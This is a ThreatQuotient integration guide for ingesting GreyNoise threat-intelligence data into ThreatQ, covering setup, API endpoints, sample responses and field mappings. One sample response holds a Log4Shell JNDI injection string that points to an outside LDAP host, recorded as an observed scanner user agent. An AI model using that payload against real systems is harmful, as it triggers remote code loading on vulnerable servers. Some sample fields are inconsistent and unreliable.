

ThreatQuotient



GreyNoise CDF Guide

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ThreatQuotient

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Integration Details

ThreatQuotient provides the following details for this integration:

Current Integration Version	1.3.0
Compatible with ThreatQ Versions	>= 4.35.0
Support Tier	ThreatQ Supported
ThreatQ Marketplace	https://marketplace.threatq.com/details/greynoise

Introduction

The GreyNoise CDF for ThreatQ enables analysts to ingest malicious IP addresses from the GreyNoise API.

GreyNoise collects, analyzes, and labels data on IPs that saturate security tools with noise. This unique perspective helps analysts waste less time on irrelevant or harmless activity, and spend more time focused on targeted and emerging threats.

The GreyNoise CDF provides the following feeds:

- **GreyNoise** - ingests new, malicious IP Addresses every day. Additionally, a GNQL query can be provided to narrow down the results.
- **GreyNoise Enrichment** - queries GreyNoise with IP Addresses from a Threat Collection and enriches those IP Addresses with the data that it ingests.

The following system object type is ingested by the integration:

- Adversaries
- Indicators
 - Indicator Attributes
- Vulnerabilities

Installation

Perform the following steps to install the integration:



The same steps can be used to upgrade the integration to a new version.

1. Log into <https://marketplace.threatq.com/>.
2. Locate and download the integration file.
3. Navigate to the integrations management page on your ThreatQ instance.
4. Click on the **Add New Integration** button.
5. Upload the integration file using one of the following methods:
 - Drag and drop the file into the dialog box
 - Select **Click to Browse** to locate the integration file on your local machine



ThreatQ will inform you if the feed already exists on the platform and will require user confirmation before proceeding. ThreatQ will also inform you if the new version of the feed contains changes to the user configuration. The new user configurations will overwrite the existing ones for the feed and will require user confirmation before proceeding.

6. If prompted, select the individual feeds to install and click **Install**. The feed will be added to the integrations page.

You will still need to [configure and then enable](#) the feed.

Configuration



ThreatQuotient does not issue API keys for third-party vendors. Contact the specific vendor to obtain API keys and other integration-related credentials.

To configure the integration:

1. Navigate to your integrations management page in ThreatQ.
2. Select the **Commercial** option from the *Category* dropdown (optional).
3. Click on the integration entry to open its details page.
4. Enter the following parameters under the **Configuration** tab:

PARAMETER	DESCRIPTION
API Token	Your GreyNoise API Token.
Ingest CVEs As	Select the object types to be created from CVE data.
Ingest Scanned Paths as Attributes	Enable or disable the ability to ingest the scanned paths as attributes.  The Scanned Paths list may include 10+ paths.
Ingest Scanned Ports as Attributes	Enable or disable the ability to ingest the scanned ports as attributes.  The Scanned ports list may include 100+ ports.
Additional GNQL Query (GreyNoise Feed ONLY)	ThreatQuotient highly recommends utilizing this parameter to narrow down the ingested dataset. See the https://docs.greynoise.io/reference/gnqlquery-1 documentation for instructions on how to build a GNQL query.

PARAMETER

DESCRIPTION

Data Collection Hash
(GreyNoise Enrichment Only)

The hash of the Data Collection to be enriched. This hash can be found in your Threat Library after loading the Data Collection. The hash will be in the browser's URL.

Example: https:// /threat-library#38d08c87b6e81a37a8591444f8c5dba5

< **GreyNoise**



Disabled
☒
Enabled

Uninstall

Additional Information

Integration Type: Feed

Version: 1.2.0

Configuration
Activity Log

API Key

Your GreyNoise API key

GNQL Query

This query allows you to specify an extension to the default query of 'last_seen:1d'. Using this field is required in order to limit the amount of data that is ingested.

Ingest CVEs As

Indicators

Select the type of object you want CVEs ingested as

☒ Ingest Scanned Paths as Attributes

Enable or disable the ability to ingest the scanned paths as attributes. The Scanned Paths list may include 10+ paths.

☐ Ingest Scanned Ports as Attributes

Enable or disable the ability to ingest the scanned ports as attributes. The Scanned Ports list may include 100+ ports.

5. Review any additional settings, make any changes if needed, and click on **Save**.
6. Click on the toggle switch, located above the *Additional Information* section, to enable it.

ThreatQ Mapping

GreyNoise (Feed)

The GreyNoise feed ingests indicators from the GreyNoise API.

GET <https://api.greynoise.io/v2/experimental/gnql>

Sample Response:

```
{
  "complete": false,
  "count": 23178,
  "data": [
    {
      "ip": "114.25.66.87",
      "seen": true,
      "classification": "malicious",
      "first_seen": "2019-07-28",
      "last_seen": "2019-07-28",
      "actor": "CRAZY PANDA23",
      "tags": [
        "SMB Scanner",
        "Eternalblue"
      ],
      "metadata": {
        "country": "Taiwan, Province of China",
        "country_code": "TW",
        "city": "Nankang",
        "organization": "Data Communication Business Group",
        "rdns": "114-25-66-87.dynamic-ip.hinet.net",
        "asn": "AS3462",
        "tor": false,
        "os": "Windows 7/8",
        "category": "isp",
        "region": "Brussels Capital"
      },
      "raw_data": {
        "scan": [
          {
            "port": 445,
            "protocol": "TCP"
          }
        ],
        "web": {
          "paths": [
            "/",
            "/bootstrap/3.3.6/css/bootstrap.min.css"
          ],
          "useragents": [
            "Hello, world",
            "${jndi:ldap://179.43.175.101:1389/gm7unt}"
          ]
        }
      }
    }
  ]
}
```

```

    },
    "ja3": []
  },
  "cve": [
    "CVE-2016-6277",
    "CVE-2016-6563"
  ],
  "bot": true,
  "vpn": true,
  "vpn_service": "Express VPN",
  "spoofable": true
}
],
"message": "ok",
"query": "classification:malicious AND last_seen:today",
"scroll":
"FGluY2x1ZGVfY29udGV4dF91dWlkDnF1ZXJ5VGhlbkZldGNoBRZ5Z1h5QmZvd1RhU0RaMEQxejhJRjR3AAAAAAuCRswWSjRhYk1qMGpRV1ctSkpCM1ly
S3EyQRZZb01USEV4LVJnLWVJc1BSTkE1NDV3AAAAAAsLldcWwVBucXpfcnhRU2E3QTNawG1Sw1BzURZhUTg4NDEsS1FpYXdcTNTdVktMm93AAAAAAjYx
u0WMk85akRMUnlTZ3EwWmxDYzRtSnJDQRZ5Z1h5QmZvd1RhU0RaMEQxejhJRjR3AAAAAAuCRs0WSjRhYk1qMGpRV1ctSkpCM1lyS3EyQRZZb01USEV4LV
JnLWVJc1BSTkE1NDV3AAAAAAsLldgWwVBucXpfcnhRU2E3QTNawG1Sw1BzUQ=="
}

```

Table Mapping

ThreatQ provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
.data[].ip	Related.Indicator.Value	IP Address	.data[].first_seen	114.25.66.87	N/A
.data[].meta ta.rdns	Related.Indicator.Value	FQDN	.data[].first_seen	114-25-66-87.dynamic- ip.hinet.net	N/A
.data[].actor	Indicator.Attribute	Actor	.data[].first_seen	CRAZY PANDA	If this is 'unknown', it will be ignored
.data[].cve[]	Related Indicator.Value / Vulnerability.Value	N/A	.data[].first_seen	CVE-2016-6277	Ingested depending on user-config
.data[].tags[]	Indicator.Tags	N/A	.data[].first_seen	Eternalblue	N/A
.data[].classi fication	Indicator.Attribute	Classification	.data[].first_seen	malicious	N/A
.data[].metada ta.country	Indicator.Attribute	Country	.data[].first_seen	Taiwan, Province of China	N/A
.data[].metada ta.country_cod e	Indicator.Attribute	Country Code	.data[].first_seen	TW	N/A
.data[].metada ta.city	Indicator.Attribute	City	.data[].first_seen	Nankang	N/A
.data[].metada ta.region	Indicator.Attribute	Region	.data[].first_seen	Brussels Capital	N/A
.data[].metada ta.organizatio n	Indicator.Attribute	Organization	.data[].first_seen	Data Communication Business Group	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>.data[].metadata.asn</code>	Related.Indicator.Value	ASN	<code>.data[].first_seen</code>	AS3462	N/A
<code>.data[].metadata.tor</code>	Indicator.Attribute	Is Tor	<code>.data[].first_seen</code>	true/false	This is converted to a Yes/No attribute value
<code>.data[].metadata.os</code>	Indicator.Attribute	Operating System	<code>.data[].first_seen</code>	Windows 7/8	N/A
<code>.data[].metadata.category</code>	Indicator.Attribute	Category	<code>.data[].first_seen</code>	isp	N/A
<code>.data[].raw_data.web.paths[]</code>	Indicator.Attribute	Scanned Path	<code>.data[].first_seen</code>	/bootstrap/3.3.6/css/bootstrap.min.css	N/A
<code>.data[].bot</code>	Indicator.Attribute	Is Bot	<code>.data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].vpn</code>	Indicator.Attribute	Is VPN	<code>.data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].spoofable</code>	Indicator.Attribute	Is Spoofable	<code>.data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].vpn_service</code>	Indicator.Attribute	VPN Service	<code>.data[].first_seen</code>	Express VPN	N/A
<code>.data[].raw_data.scan.port[]</code>	Indicator.Attribute	Scanned Port	<code>.data[].first_seen</code>	445	N/A
<code>.data[].tags[]</code>	Related Malware.Value	N/A	<code>.data[].first_seen</code>	Mirai	N/A

GreyNoise Enrichment (Feed)

The GreyNoise Enrichment feed enriches IP Addresses from a given Threat Collection with information from GreyNoise.

POST <https://api.greynoise.io/v2/noise/multi/quick>

If the response has `"noise": true`, then proceed to use the Context API endpoint on the IP Address.

If the response has `"riot": true`, then proceed to use the RIOT API endpoint on the IP Address.

Sample Response:

```
[
  {
    "ip": "186.33.111.236",
    "noise": true,
    "riot": false,
    "code": "0x01"
  },
  {
```

```
{
  "ip": "8.8.8.8",
  "noise": false,
  "riot": true,
  "code": "0x09"
}
```

Context

POST <https://api.greynoise.io/v2/noise/multi/context>

Sample Response:

```
{
  "data": [
    {
      "found": false,
      "ip": "186.3.111.236",
      "first_seen": "",
      "last_seen": "",
      "seen": false,
      "tags": null,
      "actor": "",
      "spoofable": false,
      "classification": "",
      "cve": null,
      "bot": false,
      "vpn": false,
      "vpn_service": "",
      "metadata": {
        "asn": "",
        "city": "",
        "country": "",
        "country_code": "",
        "organization": "",
        "category": "",
        "tor": false,
        "rdns": "",
        "os": ""
      },
      "raw_data": {
        "scan": [],
        "web": {},
        "ja3": [],
        "hash": []
      }
    }
  ],
  "message": "ok",
  "results": 1
}
```

Riot

GET <https://api.greynoise.io/v2/riot/{{value.ip}}>

Sample Response:

```
{
  "ip": "8.8.8.8",
  "riot": true,
  "category": "public_dns",
  "name": "Google Public DNS",
  "description": "Google's global domain name system (DNS) resolution service.",
  "explanation": "Public DNS services are used as alternatives to ISP's name servers. You may see devices on your network communicating with Google Public DNS over port 53/TCP or 53/UDP to resolve DNS lookups.",
  "last_updated": "2021-11-24T19:42:13Z",
  "logo_url": "https://upload.wikimedia.org/wikipedia/commons/2/2f/Google_2015_logo.svg",
  "reference": "https://developers.google.com/speed/public-dns/docs/isp#alternative",
  "trust_level": "1"
}
```

Table Mapping

ThreatQ provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
.data[].ip	Related.Indicator.Value	IP Address	data[].first_seen	114.25.66.87	N/A
.data[].cve[]	Related.Indicator.Value / Vulnerability.Value	N/A	data[].first_seen	N/A	Ingested depending on user-config
.data[].metadata.rdns	Related.Indicator.Value	FQDN	data[].first_seen	114-25-66-87.dynamic-ip.hinet.net	This will always be an FQDN
.data[].actor	Related.Adversary.Value	N/A	data[].first_seen	CRAZY PANDA	If this is 'unknown', it will be ignored
.data[].classification	Indicator.Attribute	Classification	data[].first_seen	malicious	For this feed, this will always be 'malicious'
.data[].tags[]	Indicator.Tags	N/A	N/A	Eternalblue	The data path is a list of tags
.data[].metadata.country	Indicator.Attribute	Country	data[].first_seen	Taiwan, Province of China	N/A
.data[].metadata.country_code	Indicator.Attribute	Country Code	data[].first_seen	TW	N/A
.data[].metadata.city	Indicator.Attribute	City	data[].first_seen	Nankang	N/A
.data[].metadata.organization	Indicator.Attribute	Organization	data[].first_seen	Data Communication Business Group	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE KEY	PUBLISHED DATE	EXAMPLES	NOTES
<code>.data[].metadata.asn</code>	Indicator.Attribute	ASN	<code>data[].first_seen</code>	AS3462	N/A
<code>.data[].metadata.tor</code>	Indicator.Attribute	Is Tor	<code>data[].first_seen</code>	true/false	This is converted to a yes/no
<code>.data[].metadata.os</code>	Indicator.Attribute	Operating System	<code>data[].first_seen</code>	Windows 7/8	N/A
<code>.data[].metadata.category</code>	Indicator.Attribute	Category	<code>data[].first_seen</code>	isp	N/A
<code>.data[].raw_data.web.paths[]</code>	Indicator.Attribute	Scanned Path	<code>data[].first_seen</code>	/bootstrap/3.3.6/css/bootstrap.min.css	N/A
<code>.data[].bot</code>	Indicator.Attribute	Is Bot	<code>data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].vpn</code>	Indicator.Attribute	Is VPN	<code>data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].spoofable</code>	Indicator.Attribute	Is Spoofable	<code>data[].first_seen</code>	Yes	Boolean -> Yes/No
<code>.data[].vpn_service</code>	Indicator.Attribute	VPN Service	<code>data[].first_seen</code>	Express VPN	N/A
<code>.data[].name</code>	Indicator.Attribute	Name	<code>data[].first_seen</code>	Google Public DNS	N/A
<code>.data[].code</code>	Indicator.Attribute	Noise Code	<code>data[].first_seen</code>	This IP was found in RIOT	N/A
<code>.data[].trust_level</code>	Indicator.Attribute	Trust Level	<code>data[].first_seen</code>	Trustworthy	N/A
<code>.data[].reference</code>	Indicator.Attribute	Reference	<code>data[].first_seen</code>	https://developers.google.com/speed/public-dns/docs/isp#alternative	N/A
<code>.data[].explanation</code>	Indicator.Attribute	Explanation	<code>data[].first_seen</code>	Public DNS services are used as alternatives to ISP's name servers...	N/A
<code>.data[].description</code>	Indicator.Attribute	Description	<code>data[].first_seen</code>	Google's global domain name system (DNS) resolution service.	N/A
<code>.data[].tags[]</code>	Related Malware.Value	N/A	<code>data[].first_seen</code>	Mirai	N/A

Average Feed Run



Object counts and Feed runtime are supplied as generalities only - objects returned by a provider can differ based on credential configurations and Feed runtime may vary based on system resources and load.

GreyNoise Feed

METRIC	RESULT
Run Time	5 minutes
Adversaries	4
Indicators	1,300
Indicator Attributes	13,350
Vulnerabilities	52

Known Issues / Limitations

- The GreyNoise feed has no historical feature due to the sheer amount of indicators from the feed. The feed only pulls in malicious indicators that were last seen today.
- Due to the large amount of indicators in the feed, it is greatly encouraged to provide an additional GNQL query in order to reduce the noise by only ingesting indicators that will be pertinent to your organization. This query will be appended to the base query of, `last_seen:today AND classification:malicious`. See the <http://docs.greynoise.io/#gnql-query> documentation for instructions on how to build a GNQL query.

Change Log

- **Version 1.3.0**
 - Fixed a filter error with the GreyNoise Enrichment feed that would occur when GreyNoise did not return any enrichment data.
 - Added a manual run option for the GreyNoise Enrichment feed.
- **Version 1.2.0**
 - Added new GreyNoise Enrichment feed.
 - Add new user configuration fields for GreyNoise feed.
- **Version 1.1.0**
 - Added new user field.
 - Added published date to all attributes.
 - Added tags.
- **Version 1.0.1**
 - Limited the number of ingested paths attributes to 9000 to improve integration performance.
- **Version 1.0.0**
 - Initial Release